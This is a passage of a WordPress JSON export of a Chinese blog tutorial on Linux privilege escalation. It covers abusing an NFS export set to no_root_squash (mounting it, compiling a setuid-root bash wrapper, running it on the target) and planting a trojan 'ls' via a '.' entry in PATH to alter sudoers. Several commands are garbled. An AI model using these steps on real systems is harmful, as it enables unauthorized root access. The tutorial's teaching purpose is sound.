NFS\u662f\u57fa\u4e8eUDP\/IP\u534f\u8bae\u7684\u5e94\u7528\uff0c\u5176\u5b9e\u73b0\u4e3b\u8981\u662f\u91c7\u7528\u8fdc\u7a0b\u8fc7\u7a0b\u8c03\u7528RPC\u673a\u5236\uff0cRPC\u63d0\u4f9b\u4e86\u4e00\u7ec4\u4e0e\u673a\u5668\u3001\u64cd\u4f5c\u7cfb\u7edf\u4ee5\u53ca\u4f4e\u5c42\u4f20\u9001\u534f\u8bae\u65e0\u5173\u7684\u5b58\u53d6\u8fdc\u7a0b\u6587\u4ef6\u7684\u64cd\u4f5c\u3002RPC\u91c7\u7528\u4e86XDR\u7684\u652f\u6301\u3002XDR\u662f\u4e00\u79cd\u4e0e\u673a\u5668\u65e0\u5173\u7684\u6570\u636e\u63cf\u8ff0\u7f16\u7801\u7684\u534f\u8bae\uff0c\u4ed6\u4ee5\u72ec\u7acb\u4e0e\u4efb\u610f\u673a\u5668\u4f53\u7cfb\u7ed3\u6784\u7684\u683c\u5f0f\u5bf9\u7f51\u4e0a\u4f20\u9001\u7684\u6570\u636e\u8fdb\u884c\u7f16\u7801\u548c\u89e3\u7801\uff0c\u652f\u6301\u5728\u5f02\u6784\u7cfb\u7edf\u4e4b\u95f4\u6570\u636e\u7684\u4f20\u9001\u3002<\/p>\n
\u4ec0\u4e48\u662froot_sqaush\u548cno_root_sqaush\uff1f<\/strong><\/h3>\n
Root Squashing\uff08root_sqaush\uff09\u53c2\u6570\u963b\u6b62\u5bf9\u8fde\u63a5\u5230NFS\u5377\u7684\u8fdc\u7a0broot\u7528\u6237\u5177\u6709root\u8bbf\u95ee\u6743\u9650\u3002\u8fdc\u7a0b\u6839\u7528\u6237\u5728\u8fde\u63a5\u65f6\u4f1a\u5206\u914d\u4e00\u4e2a\u7528\u6237\u201c nfsnobody<\/strong>\u201d\uff0c\u5b83\u5177\u6709\u6700\u5c11\u7684\u672c\u5730\u7279\u6743\u3002\u5982\u679cno_root_squash\u9009\u9879\u5f00\u542f\u7684\u8bdd\u201d\uff0c\u5e76\u4e3a\u8fdc\u7a0b\u7528\u6237\u6388\u4e88root\u7528\u6237\u5bf9\u6240\u8fde\u63a5\u7cfb\u7edf\u7684\u8bbf\u95ee\u6743\u9650\u3002\u5728\u914d\u7f6eNFS\u9a71\u52a8\u5668\u65f6\uff0c\u7cfb\u7edf\u7ba1\u7406\u5458\u5e94\u59cb\u7ec8\u4f7f\u7528\u201c root_squash\u201d\u53c2\u6570\u3002<\/p>\n
\u6ce8\u610f\uff1a\u8981\u5229\u7528\u6b64\uff0c**<\/strong>no_root_squash<\/strong>\u9009\u9879\u5f97\u5f00\u542f**\u3002<\/strong><\/p>\n
\u5229\u7528NFS\u5e76\u83b7\u53d6Root Shell<\/strong><\/h3>\n
\u73b0\u5728\uff0c\u6211\u4eec\u62ff\u5230\u4e86\u4e00\u4e2a\u4f4e\u6743\u9650\u7684shell\uff0c\u6211\u4eec\u67e5\u770b\u201c \/ etc \/ exports \u201d\u6587\u4ef6\u3002<\/p>\n
\/ etc \/ exports<\/strong>\u6587\u4ef6\u5305\u542b\u5c06\u54ea\u4e9b\u6587\u4ef6\u5939\/\u6587\u4ef6\u7cfb\u7edf\u5bfc\u51fa\u5230\u8fdc\u7a0b\u7528\u6237\u7684\u914d\u7f6e\u548c\u6743\u9650\u3002<\/p>\n
\u8fd9\u4e2a\u6587\u4ef6\u7684\u5185\u5bb9\u975e\u5e38\u7b80\u5355\uff0c\u6bcf\u4e00\u884c\u7531\u629b\u51fa\u8def\u5f84\uff0c\u5ba2\u6237\u540d\u5217\u8868\u4ee5\u53ca\u6bcf\u4e2a\u5ba2\u6237\u540d\u540e\u7d27\u8ddf\u7684\u8bbf\u95ee\u9009\u9879\u6784\u6210\uff1a[\u5171\u4eab\u7684\u76ee\u5f55] [\u4e3b\u673a\u540d\u6216IP(\u53c2\u6570,\u53c2\u6570)]\u5176\u4e2d\u53c2\u6570\u662f\u53ef\u9009\u7684\uff0c\u5f53\u4e0d\u6307\u5b9a\u53c2\u6570\u65f6\uff0cnfs\u5c06\u4f7f\u7528\u9ed8\u8ba4\u9009\u9879\u3002\u9ed8\u8ba4\u7684\u5171\u4eab\u9009\u9879\u662f sync,ro,root_squash,no_delay\u3002\u5f53\u4e3b\u673a\u540d\u6216IP\u5730\u5740\u4e3a\u7a7a\u65f6\uff0c\u5219\u4ee3\u8868\u5171\u4eab\u7ed9\u4efb\u610f\u5ba2\u6237\u673a\u63d0\u4f9b\u670d\u52a1\u3002\u5f53\u5c06\u540c\u4e00\u76ee\u5f55\u5171\u4eab\u7ed9\u591a\u4e2a\u5ba2\u6237\u673a\uff0c\u4f46\u5bf9\u6bcf\u4e2a\u5ba2\u6237\u673a\u63d0\u4f9b\u7684\u6743\u9650\u4e0d\u540c\u65f6\uff0c\u53ef\u4ee5\u8fd9\u6837\uff1a[\u5171\u4eab\u7684\u76ee\u5f55] [\u4e3b\u673a\u540d1\u6216IP1(\u53c2\u65701,\u53c2\u65702)] [\u4e3b\u673a\u540d2\u6216IP2(\u53c2\u65703,\u53c2\u65704)]<\/p>\n
\n
$\"\u901a\u8fc7\u672c\u6587\u5403\u900flinux\u63d0\u53d6\u63d2\u56fe3\"$ <\/div>\n<\/figure>\n
\u6211\u4eec\u53ef\u4ee5\u770b\u5230\/ tmp <\/strong>\u6587\u4ef6\u5939\u662f\u53ef\u5171\u4eab\u7684\uff0c\u8fdc\u7a0b\u7528\u6237\u53ef\u4ee5\u6302\u8f7d\u5b83\u3002\u8fd8\u6709\u4e0d\u5b89\u5168\u7684\u53c2\u6570\u201c rw \u201d\uff08\u8bfb\uff0c\u5199\uff09\uff0c\u201c sync \u201d\u548c\u201c no_root_squash<\/strong>\u201d<\/p>\n
\u540c\u6837\u6211\u4eec\u4e5f\u53ef\u4ee5\u4f7f\u7528 showmount\u547d\u4ee4\u6765\u67e5\u770b\u3002<\/p>\n
showmount\u547d\u4ee4\u7528\u4e8e\u67e5\u8be2NFS\u670d\u52a1\u5668\u7684\u76f8\u5173\u4fe1\u606f<\/p>\n
showmount \u2014help<\/strong><\/h1>\n
Usage: showmount [-adehv]<\/p>\n
[\u2014all] [\u2014directories] [\u2014exports]<\/p>\n
[\u2014no-headers] [\u2014help] [\u2014version] [host] -a\u6216\u2014all<\/p>\n
\u4ee5 host:dir \u8fd9\u6837\u7684\u683c\u5f0f\u6765\u663e\u793a\u5ba2\u6237\u4e3b\u673a\u540d\u548c\u6302\u8f7d\u70b9\u76ee\u5f55\u3002<\/p>\n
-d\u6216\u2014directories \u4ec5\u663e\u793a\u88ab\u5ba2\u6237\u6302\u8f7d\u7684\u76ee\u5f55\u540d\u3002 -e\u6216\u2014exports \u663e\u793aNFS\u670d\u52a1\u5668\u7684\u8f93\u51fa\u6e05\u5355\u3002 -h\u6216\u2014help \u663e\u793a\u5e2e\u52a9\u4fe1\u606f\u3002 -v\u6216\u2014version \u663e\u793a\u7248\u672c\u4fe1\u3002 \u2014no-headers \u7981\u6b62\u8f93\u51fa\u63cf\u8ff0\u5934\u90e8\u4fe1\u606f\u3002\u663e\u793aNFS\u5ba2\u6237\u7aef\u4fe1\u606f #<\/p><\/blockquote>\n
showmount \u663e\u793a\u6307\u5b9aNFS\u670d\u52a1\u5668\u8fde\u63a5NFS\u5ba2\u6237\u7aef\u7684\u4fe1\u606f<\/p>\n
# showmount 192.168<\/span>.<\/span>1.1<\/span> #\u6b64ip\u4e3anfs\u670d\u52a1\u5668\u7684 \u663e\u793a\u8f93\u51fa\u76ee\u5f55\u5217\u8868\r\n\r\n# showmount -<\/span>e \u663e\u793a\u6307\u5b9aNFS\u670d\u52a1\u5668\u8f93\u51fa\u76ee\u5f55\u5217\u8868\uff08\u4e5f\u79f0\u4e3a\u5171\u4eab\u76ee\u5f55\u5217\u8868\uff09\r\n\r\n# showmount -<\/span>e 192.168<\/span>.<\/span>1.1<\/span> \u663e\u793a\u88ab\u6302\u8f7d\u7684\u5171\u4eab\u76ee\u5f55\r\n\r\n# showmount -<\/span>d \u663e\u793a\u5ba2\u6237\u7aef\u4fe1\u606f\u548c\u5171\u4eab\u76ee\u5f55\r\n\r\n# showmount -<\/span>a \u663e\u793a\u6307\u5b9aNFS\u670d\u52a1\u5668\u7684\u5ba2\u6237\u7aef\u4fe1\u606f\u548c\u5171\u4eab\u76ee\u5f55\r\n\r\n# showmount -<\/span>a 192.168<\/span>.<\/span>1.1<\/span><\/pre>\n
\u8fd9\u91cc\u4e0d\u591a\u8bf4\u4e86<\/p>\n
\u6211\u4eec\u63a5\u4e0b\u6765\u5728\u6211\u4eec\u7684\u653b\u51fb\u673a\u4e0a\u5b89\u88c5\u5ba2\u6237\u7aef\u5de5\u5177<\/p>\n
\u9700\u8981\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\uff0c\u5b89\u88c5nfs-common\u8f6f\u4ef6\u5305\u3002apt\u4f1a\u81ea\u52a8\u5b89\u88c5nfs-common\u3001rpcbind\u7b4912\u4e2a\u8f6f\u4ef6\u5305<\/p>\n
sudo apt install nfs-commonapt-get install cifs-utils<\/p>\n
\u7136\u540e\u8f93\u5165\u547d\u4ee4<\/strong><\/p>\n
showmount -e [IP\u5730\u5740]<\/p>\n
\n
$\"\u901a\u8fc7\u672c\u6587\u5403\u900flinux\u63d0\u53d6\u63d2\u56fe4\"$ <\/div>\n<\/figure>\n
\u521b\u5efa\u76ee\u5f55\u4ee5\u6302\u8f7d\u8fdc\u7a0b\u7cfb\u7edf\u3002<\/strong><\/p>\n
mkdir \/ tmp \/ test<\/p>\n
\u5728**<\/strong>\/tmp\/test\u4e0a\u88c5\u8f7d<\/strong>Remote\/tmp**\u6587\u4ef6\u5939\uff1a<\/strong><\/p>\n
mount -o rw\uff0cvers = 2 [IP\u5730\u5740]\uff1a\/ tmp \/ tmp \/ test<\/p>\n
\n
$\"\u901a\u8fc7\u672c\u6587\u5403\u900flinux\u63d0\u53d6\u63d2\u56fe5\"$ <\/div>\n<\/figure>\n
\u7136\u540e\u5728\/tmp\/test\/\u4e2d\u3002\u65b0\u5efa\u4e00\u4e2ac\u6587\u4ef6\u3002<\/strong><\/p>\n
#include <<\/span>stdio.<\/span>h><\/span>\r\n\r\n#include <<\/span>stdlib.<\/span>h><\/span>\r\n\r\n#include <<\/span>sys\/<\/span>types.<\/span>h><\/span>\r\n\r\n#include <<\/span>unistd.<\/span>h><\/span> int main<\/span>(<\/span>)<\/span> {<\/span> setuid<\/span>(<\/span>0<\/span>)<\/span>;<\/span> system<\/span>(<\/span>\"\/bin\/bash\"<\/span>)<\/span>;<\/span> return<\/span> 0<\/span>;<\/span> }<\/span><\/pre>\n
\u4e5f\u53ef\u4ee5<\/strong><\/p>\n
echo \u2018int main() { setgid(0); setuid(0); system(\u201c\/bin\/bash\u201d); return 0; }\u2019 > \/tmp\/test\/suid-shell.c<\/p>\n
\u7f16\u8bd1\uff1a<\/strong><\/p>\n
gcc \/tmp\/test\/suid-shell.c -o \/ tmp \/ 1 \/ suid-shel<\/p>\n
\u8d4b\u6743\uff1a<\/strong><\/p>\n
chmod + s \/tmp\/test\/suid-shell.c<\/p>\n
\u597d\u7684\uff0c\u6211\u4eec\u56de\u5230\u8981\u63d0\u6743\u7684\u670d\u52a1\u5668\u4e0a<\/strong><\/p>\n
\n
$\"\u901a\u8fc7\u672c\u6587\u5403\u900flinux\u63d0\u53d6\u63d2\u56fe6\"$ <\/div>\n<\/figure>\n
cd \/ tmp.\/suid-shell<\/p>\n
\u53ef\u4ee5\u770b\u5230\u662fROOT\u6743\u9650\u4e86<\/strong><\/p>\n
0x0010 linux\u63d0\u6743-\u5229\u7528\u201c.\u201d\u8def\u5f84\u914d\u7f6e\u9519\u8bef<\/strong><\/h2>\n
\u6709\u201c.\u201d \u5728PATH\u4e2d\u8868\u793a\u7528\u6237\u53ef\u4ee5\u4ece\u5f53\u524d\u76ee\u5f55\u6267\u884c\u4e8c\u8fdb\u5236\u6587\u4ef6\/\u811a\u672c\u3002\u4f46\u662f\u4e00\u4e9b\u7ba1\u7406\u5458\u4e3a\u4e86\u907f\u514d\u6bcf\u6b21\u90fd\u5fc5\u987b\u8f93\u5165\u8fd9\u4e24\u4e2a\u989d\u5916\u7684\u5b57\u7b26\uff0c\u4ed6\u4eec\u5728\u7528\u6237\u4e2d\u6dfb\u52a0\u201c\u3002\u201d\u5728\u4ed6\u4eec\u7684PATH\u4e2d\u3002\u5bf9\u4e8e\u653b\u51fb\u8005\u800c\u8a00\uff0c\u8fd9\u662f\u63d0\u5347\u5176\u7279\u6743\u7684\u7edd\u4f73\u65b9\u6cd5\u3002<\/p>\n
\u653e\u7f6e.\u8def\u5f84<\/p>\n
\u5982\u679c\u5728PATH\u4e2d\u653e\u7f6e\u70b9\uff0c\u5219\u65e0\u9700\u7f16\u5199.\/binary\u5373\u53ef\u6267\u884c\u5b83\u3002\u90a3\u4e48\u6211\u4eec\u5c06\u80fd\u591f\u6267\u884c\u5f53\u524d\u76ee\u5f55\u4e2d\u7684\u4efb\u4f55\u811a\u672c\u6216\u4e8c\u8fdb\u5236\u6587\u4ef6\u3002<\/p>\n
\u5047\u8bbe\u5c0f\u660e\u662f\u7ba1\u7406\u5458\uff0c\u800c\u5979\u6dfb\u52a0\u4e86\u201c\u3002\u201d \u5728\u5979\u7684PATH\u4e0a\uff0c\u8fd9\u6837\u5979\u5c31\u4e0d\u5fc5\u518d\u8f93\u5165\u4e24\u4e2a\u5b57\u7b26\u4e86\u53bb\u6267\u884c\u811a\u672c\u6216\u4e8c\u8fdb\u5236\u6587\u4ef6\u3002<\/p>\n
\u5e26\u201c\u3002\u201d \u5728\u8def\u5f84\u4e2d\u2013program<\/p>\n
\u4e0d\u5e26\u201c\u3002\u201d \u5728\u8def\u5f84\u4e2d-.\/program<\/p>\n
\u53d1\u751f\u8fd9\u79cd\u60c5\u51b5\u662f\u56e0\u4e3aLinux\u9996\u5148\u5728\u201c.\u201d\u4f4d\u7f6e\u641c\u7d22\u7a0b\u5e8f\u3002\u4f46\u662f\u6dfb\u52a0\u5230PATH\u7684\u5f00\u5934\u540e\uff0c\u5c31\u5728\u5176\u4ed6\u4efb\u4f55\u5730\u65b9\u641c\u7d22\u3002<\/p>\n
\u53e6\u4e00\u4e2a\u7528\u6237\u201c\u5c0f\u767d\u201d\u77e5\u9053\u5c0f\u660e\u6dfb\u52a0\u4e86\u201c.\u201d \u5728PATH\u4e2d\uff0c \u5c0f\u767d\u544a\u8bc9\u5c0f\u660e\u2019ls\u2019\u547d\u4ee4\u5728\u4ed6\u7684\u76ee\u5f55\u4e2d\u4e0d\u8d77\u4f5c\u7528 \u5c0f\u767d\u5728\u4ed6\u7684\u76ee\u5f55\u4e2d\u6dfb\u52a0\u4ee3\u7801\uff0c\u8fd9\u5c06\u66f4\u6539sudoers\u6587\u4ef6\u5e76\u4f7f\u4ed6\u6210\u4e3a\u7ba1\u7406\u5458 \u5c0f\u767d\u5c06\u8be5\u4ee3\u7801\u5b58\u50a8\u5728\u540d\u4e3a\u201c ls\u201d\u5e76\u4f7f\u5176\u53ef\u6267\u884c \u5c0f\u660e\u5177\u6709root\u7279\u6743\u3002\u5979\u6765\u4e86\uff0c\u5e76\u5728\u5c0f\u767d\u7684\u4e3b\u76ee\u5f55\u4e2d\u6267\u884c\u4e86\u2019ls\u2019\u547d\u4ee4 \u6076\u610f\u4ee3\u7801\u4e0d\u662f\u901a\u8fc7\u539f\u59cb\u7684\u2019ls\u2019\u547d\u4ee4\u800c\u662f\u901a\u8fc7root\u8bbf\u95ee\u6765\u6267\u884c \u5728\u53e6\u5b58\u4e3a\u201c ls\u201d\u7684\u6587\u4ef6\u4e2d\uff0c\u6dfb\u52a0\u4e86\u4e00\u4e2a\u4ee3\u7801\uff0c\u8be5\u4ee3\u7801\u5c06\u6253\u5370\u201c Hello world\u201d<\/p><\/blockquote>\n
\n
$\"\u901a\u8fc7\u672c\u6587\u5403\u900flinux\u63d0\u53d6\u63d2\u56fe7\"$ <\/div>\n<\/figure>\n
$P<\/span><\/span>A<\/span><\/span>T<\/span><\/span>H<\/span><\/span>=<\/span><\/span>.<\/span><\/span>\uff1a<\/span><\/span><\/span><\/span><\/span><\/span><\/span><\/span> {PATH} \u2013\u6dfb\u52a0\u2019.\u2019 \u5728PATH\u53d8\u91cf\u4e2d<\/p>\n$
\n
$\"\u901a\u8fc7\u672c\u6587\u5403\u900flinux\u63d0\u53d6\u63d2\u56fe8\"$ <\/div>\n<\/figure>\n
\n
$\"\u901a\u8fc7\u672c\u6587\u5403\u900flinux\u63d0\u53d6\u63d2\u56fe9\"$ <\/div>\n<\/figure>\n
$ ls \u2013\u6267\u884c\u7684.\/ls\u6587\u4ef6\uff0c\u800c\u4e0d\u662f\u8fd0\u884c\u5217\u8868\u547d\u4ee4\u3002<\/p>\n
\u73b0\u5728\uff0c\u5982\u679croot\u7528\u6237\u4ee5root\u7279\u6743\u6267\u884c\u4ee3\u7801\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528root\u7279\u6743\u5b9e\u73b0\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002<\/p><\/blockquote>\n
\n
$\"\u901a\u8fc7\u672c\u6587\u5403\u900flinux\u63d0\u53d6\u63d2\u56fe10\"$ <\/div>\n<\/figure>\n<\/div>\n
\n
<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"
0x001 linux\u63d0\u6743\u63cf\u8ff0 \u5927\u591a\u6570\u8ba1\u7b97\u673a\u7cfb\u7edf\u8bbe\u8ba1\u4e3a\u53ef\u4e0e\u591a\u4e2a\u7528\u6237\u4e00\u8d77\u4f7f\u7528\u3002\u7279\u6743\u662f\u6307\u5141\u8bb8\u7528\u6237\u6267\u884c\u7684\u64cd\u4f5c\u3002\u666e\u901a\u7279 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[26,230,146],"class_list":["post-1015","post","type-post","status-publish","format-standard","hentry","category-net-security","tag-linux","tag-linux-shell"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1015","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1015"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1015\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1015"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1015"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1015"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}